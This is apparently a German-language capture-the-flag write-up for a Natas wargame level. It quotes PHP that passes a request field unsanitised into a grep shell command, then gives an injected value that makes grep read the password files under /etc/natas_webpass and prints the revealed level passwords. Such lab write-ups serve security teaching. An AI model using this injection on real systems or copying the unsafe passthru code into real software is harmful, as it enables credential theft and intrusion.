Aktualisiert am: 2022-08-03
Command Injection
Enumeration
-
Der Inhalt des Textfeldes
needle
wird der Variable$key
zugewiesen$key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; }
-
Die Parameter
$key
unddictionary.txt
werden angrep
übergebenif($key != "") { passthru("grep -i $key dictionary.txt"); }
-
grep
gibt die Zeilen der Dateidictionary.txt
zurück, welche auf das Pattern$key
passen
Exploitation
- Das Regex Pattern
.
(beliebiges Zeichen) passt auf sämtliche Zeilen -
Gemäss Syntax erlaubt
grep
mehrere Dateien zu übergebengrep [OPTION...] PATTERNS [FILE...]
Entsprechend ändern wir $key
um (unter anderem) an das Kennwort von Natas10 zu gelangen
. /etc/natas_webpass/natas*
Output:
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
/etc/natas_webpass/natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
dictionary.txt:African
...